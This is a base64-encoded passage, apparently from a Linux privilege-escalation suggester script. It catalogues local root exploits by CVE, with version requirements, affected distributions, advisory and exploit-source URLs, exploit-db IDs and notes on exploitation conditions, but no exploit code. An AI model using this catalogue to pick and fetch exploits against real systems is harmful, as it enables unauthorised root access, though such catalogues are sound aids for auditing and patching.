rZz1rdHN1c3MsdmVyPD0xLjQKVGFnczogc3Bhcmt5PTV8NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDExLzA4LzEzLzIKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTEtMjkyMS9rdHN1c3MtbHBlLnNoCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTA4MDldJHt0eHRyc3R9IGRlYXRoX3N0YXIgKHN1ZG8pClJlcXM6IHBrZz1zdWRvLHZlcj49MS44LjAsdmVyPD0xLjguMwpUYWdzOiBmZWRvcmE9MTYgClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLzIwMTIvSmFuL2F0dC01OTAvYWR2aXNvcnlfc3Vkby50eHQKZXhwbG9pdC1kYjogMTg0MzYKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDQ3Nl0ke3R4dHJzdH0gY2hrcm9vdGtpdApSZXFzOiBwa2c9Y2hrcm9vdGtpdCx2ZXI8MC41MApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE0L3EyLzQzMApleHBsb2l0LWRiOiAzMzg5OQpDb21tZW50czogUm9vdGluZyBkZXBlbmRzIG9uIHRoZSBjcm9udGFiICh1cCB0byBvbmUgZGF5IG9mIGRlbGF5KQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC01MTE5XSR7dHh0cnN0fSBfX2djb252X3RyYW5zbGl0X2ZpbmQKUmVxczogcGtnPWdsaWJjfGxpYmM2LHg4NgpUYWdzOiBkZWJpYW49NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE0LzA4L3RoZS1wb2lzb25lZC1udWwtYnl0ZS0yMDE0LWVkaXRpb24uaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy8zNDQyMS50YXIuZ3oKZXhwbG9pdC1kYjogMzQ0MjEKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTg2Ml0ke3R4dHJzdH0gbmV3cGlkIChhYnJ0KQpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MjAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMzE1XSR7dHh0cnN0fSByYWNlYWJydApSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MTl7YWJydDoyLjEuNS0xLmZjMTl9LGZlZG9yYT0yMHthYnJ0OjIuMi4yLTIuZmMyMH0sZmVkb3JhPTIxe2FicnQ6Mi4zLjAtMy5mYzIxfSxSSEVMPTd7YWJydDoyLjEuMTEtMTIuZWw3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvMTMwCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvL2ZlMzU5MDA2ODM2ZDZjZDEwOTFlL3Jhdy8zMmZlODQ4MWM0MzRmOGNhZDViY2Y4NTI5Nzg5MjMxNjI3ZTUwNzRjL3JhY2VhYnJ0LmMKZXhwbG9pdC1kYjogMzY3NDcKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KQpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzE4XSR7dHh0cnN0fSBuZXdwaWQgKGFwcG9ydCkgMgpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQuMgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CmV4cGxvaXQtZGI6IDM2NzgyCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyMDJdJHt0eHRyc3R9IGZ1c2UgKGZ1c2VybW91bnQpClJlcXM6IHBrZz1mdXNlLHZlcjwyLjkuMwpUYWdzOiBkZWJpYW49Ny4wfDguMCx1YnVudHU9KgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvNTIwCmV4cGxvaXQtZGI6IDM3MDg5CkNvbW1lbnRzOiBOZWVkcyBjcm9uIG9yIHN5c3RlbSBhZG1pbiBpbnRlcmFjdGlvbgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODE1XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdApSZXFzOiBwa2c9c2V0cm91Ymxlc2hvb3QsdmVyPDMuMi4yMgpUYWdzOiBmZWRvcmE9MjEKUmFuazogMQpleHBsb2l0LWRiOiAzNjU2NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMjQ2XSR7dHh0cnN0fSB1c2VyaGVscGVyClJlcXM6IHBrZz1saWJ1c2VyLHZlcjw9MC42MApUYWdzOiBSSEVMPTZ7bGlidXNlcjowLjU2LjEzLSg0fDUpLmVsNn0sUkhFTD02e2xpYnVzZXI6MC42MC01LmVsN30sZmVkb3JhPTEzfDE5fDIwfDIxfDIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTUvMDcvMjMvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2L2N2ZS0yMDE1LTMyNDUtY3ZlLTIwMTUtMzI0Ni50eHQgCmV4cGxvaXQtZGI6IDM3NzA2CkNvbW1lbnRzOiBSSEVMIDUgaXMgYWxzbyB2dWxuZXJhYmxlLCBidXQgaW5zdGFsbGVkIHZlcnNpb24gb2YgZ2xpYmMgKDIuNSkgbGFja3MgZnVuY3Rpb25zIG5lZWRlZCBieSByb290aGVscGVyLmMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtNTI4N10ke3R4dHJzdH0gYWJydC9zb3NyZXBvcnQtcmhlbDcKUmVxczogcGtnPWFicnQsY21kOmdyZXAgLXFpIGFicnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogUkhFTD03e2FicnQ6Mi4xLjExLTEyLmVsN30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xCnNyYy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xLzEKZXhwbG9pdC1kYjogMzg4MzIKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS02NTY1XSR7dHh0cnN0fSBub3RfYW5fc3NobnVrZQpSZXFzOiBwa2c9b3BlbnNzaC1zZXJ2ZXIsdmVyPj02LjgsdmVyPD02LjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI2LzIKZXhwbG9pdC1kYjogNDExNzMKYXV0aG9yOiBGZWRlcmljbyBCZW50bwpDb21tZW50czogTmVlZHMgYWRtaW4gaW50ZXJhY3Rpb24gKHJvb3QgdXNlciBuZWVkcyB0byBsb2dpbiB2aWEgc3NoIHRvIHRyaWdnZXIgZXhwbG9pdGF0aW9uKQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjEyXSR7dHh0cnN0fSBibHVlbWFuIHNldF9kaGNwX2hhbmRsZXIgZC1idXMgcHJpdmVzYwpSZXFzOiBwa2c9Ymx1ZW1hbix2ZXI8Mi4wLjMKVGFnczogZGViaWFuPTh7Ymx1ZW1hbjoxLjIzfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly90d2l0dGVyLmNvbS90aGVncnVncS9zdGF0dXMvNjc3ODA5NTI3ODgyODEzNDQwCmV4cGxvaXQtZGI6IDQ2MTg2CmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTEyNDBdJHt0eHRyc3R9IHRvbWNhdC1yb290cHJpdmVzYy1kZWIuc2gKUmVxczogcGtnPXRvbWNhdApUYWdzOiBkZWJpYW49OCx1YnVudHU9MTYuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1RvbWNhdC1EZWJQa2dzLVJvb3QtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdC1DVkUtMjAxNi0xMjQwLmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvdG9tY2F0LXJvb3Rwcml2ZXNjLWRlYi5zaApleHBsb2l0LWRiOiA0MDQ1MAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBZmZlY3RzIG9ubHkgRGViaWFuLWJhc2VkIGRpc3Ryb3MKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTI0N10ke3R4dHJzdH0gbmdpbnhlZC1yb290LnNoClJlcXM6IHBrZz1uZ2lueHxuZ2lueC1mdWxsLHZlcjwxLjEwLjMKVGFnczogZGViaWFuPTgsdWJ1bnR1PTE0LjA0fDE2LjA0fDE2LjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9OZ2lueC1FeHBsb2l0LURlYi1Sb290LVByaXZFc2MtQ1ZFLTIwMTYtMTI0Ny5odG1sCnNyYy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi0xMjQ3L25naW54ZWQtcm9vdC5zaApleHBsb2l0LWRiOiA0MDc2OAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gY3Jvbi5kYWlseSAodXAgdG8gMjRoIG9mIGRlbGF5KS4gQWZmZWN0ZWQ6IGRlYjg6IDwxLjYuMjsgMTQuMDQ6IDwxLjQuNjsgMTYuMDQ6IDEuMTAuMDsgZ2VudG9vOiA8MS4xMC4yLXIzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTE1MzFdJHt0eHRyc3R9IHBlcmxfc3RhcnR1cCAoZXhpbSkKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTU0OQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xNTMxXSR7dHh0cnN0fSBwZXJsX3N0YXJ0dXAgKGV4aW0pIDIKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTUzNQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTg5XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdCAyClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdApUYWdzOiBSSEVMPTZ8NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jLXNraWxscy5ibG9nc3BvdC5jb20vMjAxNi8wNi9sZXRzLWZlZWQtYXR0YWNrZXItaW5wdXQtdG8tc2gtYy10by1zZWUuaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vc3RlYWx0aC90cm91Ymxlc2hvb3Rlci9yYXcvbWFzdGVyL3N0cmFpZ2h0LXNob290ZXIuYwpleHBsb2l0LWRiOgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01NDI1XSR7dHh0cnN0fSB0b21jYXQtUkgtcm9vdC5zaApSZXFzOiBwa2c9dG9tY2F0ClRhZ3M6IFJIRUw9NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9Ub21jYXQtUmVkSGF0LVBrZ3MtUm9vdC1Qcml2RXNjLUV4cGxvaXQtQ1ZFLTIwMTYtNTQyNS5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL3RvbWNhdC1SSC1yb290LnNoCmV4cGxvaXQtZGI6IDQwNDg4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFmZmVjdHMgb25seSBSZWRIYXQtYmFzZWQgZGlzdHJvcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi02NjYzLENWRS0yMDE2LTY2NjR8Q1ZFLTIwMTYtNjY2Ml0ke3R4dHJzdH0gbXlzcWwtZXhwbG9pdC1jaGFpbgpSZXFzOiBwa2c9bXlzcWwtc2VydmVyfG1hcmlhZGItc2VydmVyLHZlcjw1LjUuNTIKVGFnczogdWJ1bnR1PTE2LjA0LjEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL015U1FMLU1hcmlhLVBlcmNvbmEtUHJpdkVzY1JhY2UtQ1ZFLTIwMTYtNjY2My01NjE2LUV4cGxvaXQuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi02NjYzL215c3FsLXByaXZlc2MtcmFjZS5jCmV4cGxvaXQtZGI6IDQwNjc4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsc28gTWFyaWFEQiB2ZXI8MTAuMS4xOCBhbmQgdmVyPDEwLjAuMjggYWZmZWN0ZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTU2Nl0ke3R4dHJzdH0gbmFnaW9zLXJvb3QtcHJpdmVzYwpSZXFzOiBwa2c9bmFnaW9zLHZlcjw0LjIuNApUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTmFnaW9zLUV4cGxvaXQtUm9vdC1Qcml2RXNjLUNWRS0yMDE2LTk1NjYuaHRtbApzcmMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvQ1ZFLTIwMTYtOTU2Ni9uYWdpb3Mtcm9vdC1wcml2ZXNjLnNoCmV4cGxvaXQtZGI6IDQwOTIxCmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsbG93cyBwcml2IGVzY2FsYXRpb24gZnJvbSBuYWdpb3MgdXNlciBvciBuYWdpb3MgZ3JvdXAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMDM1OF0ke3R4dHJzdH0gbnRmcy0zZy1tb2Rwcm9iZQpSZXFzOiBwa2c9bnRmcy0zZyx2ZXI8MjAxNy40ClRhZ3M6IHVidW50dT0xNi4wNHtudGZzLTNnOjIwMTUuMy4xNEFSLjEtMWJ1aWxkMX0sZGViaWFuPTcuMHtudGZzLTNnOjIwMTIuMS4xNUFSLjUtMi4xK2RlYjd1Mn0sZGViaWFuPTguMHtudGZzLTNnOjIwMTQuMi4xNUFSLjItMStkZWI4dTJ9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTA3MgpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80MTM1Ni56aXAKZXhwbG9pdC1kYjogNDEzNTYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuIExpbnV4IGhlYWRlcnMgbXVzdCBiZSBpbnN0YWxsZWQuIFN5c3RlbSBtdXN0IGhhdmUgYXQgbGVhc3QgdHdvIENQVSBjb3Jlcy4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTg5OV0ke3R4dHJzdH0gcy1uYWlsLXByaXZnZXQKUmVxczogcGtnPXMtbmFpbCx2ZXI8MTQuOC4xNgpUYWdzOiB1YnVudHU9MTYuMDQsbWFuamFybz0xNi4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcvMQpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy01ODk5L2V4cGxvaXQuc2gKYXV0aG9yOiB3YXBpZmxhcGkgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2N10ke3R4dHJzdH0gU3Vkb2VyLXRvLXJvb3QKUmVxczogcGtnPXN1ZG8sdmVyPD0xLjguMjAsY21kOlsgLWYgL3Vzci9zYmluL2dldGVuZm9yY2UgXQpUYWdzOiBSSEVMPTd7c3VkbzoxLjguNnA3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc3Vkby53cy9hbGVydHMvbGludXhfdHR5Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA1LzMwL2N2ZS0yMDE3LTEwMDAzNjcvbGludXhfc3Vkb19jdmUtMjAxNy0xMDAwMzY3LmMKZXhwbG9pdC1kYjogNDIxODMKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IE5lZWRzIHRvIGJlIHN1ZG9lci4gV29ya3Mgb25seSBvbiBTRUxpbnV4IGVuYWJsZWQgc3lzdGVtcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY3XSR7dHh0cnN0fSBzdWRvcHduClJlcXM6IHBrZz1zdWRvLHZlcjw9MS44LjIwLGNtZDpbIC1mIC91c3Ivc2Jpbi9nZXRlbmZvcmNlIF0KVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnN1ZG8ud3MvYWxlcnRzL2xpbnV4X3R0eS5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jMGQzejNyMC9zdWRvLUNWRS0yMDE3LTEwMDAzNjcvbWFzdGVyL3N1ZG9wd24uYwpleHBsb2l0LWRiOgphdXRob3I6IGMwZDN6M3IwCkNvbW1lbnRzOiBOZWVkcyB0byBiZSBzdWRvZXIuIFdvcmtzIG9ubHkgb24gU0VMaW51eCBlbmFibGVkIHN5c3RlbXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcwXSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9sZHNvX2h3Y2FwLmMKZXhwbG9pdC1kYjogNDIyNzQKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgYmluYXJpZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcxXSR7dHh0cnN0fSBsaW51eF9sZHNvX2R5bmFtaWMKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczogZGViaWFuPTl8MTAsdWJ1bnR1PTE0LjA0LjV8MTYuMDQuMnwxNy4wNCxmZWRvcmE9MjN8MjR8MjUKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29fZHluYW1pYy5jCmV4cGxvaXQtZGI6IDQyMjc2CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IFBJRXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzc5XSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwXzY0ClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2XzY0ClRhZ3M6IGRlYmlhbj03Ljd8OC41fDkuMCx1YnVudHU9MTQuMDQuMnwxNi4wNC4yfDE3LjA0LGZlZG9yYT0yMnwyNSxjZW50b3M9Ny4zLjE2MTEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29faHdjYXBfNjQuYwpleHBsb2l0LWRiOiA0MjI3NQphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBiaW5hcmllcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzcwLENWRS0yMDE3LTEwMDAzNzFdJHt0eHRyc3R9IGxpbnV4X29mZnNldDJsaWIKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGF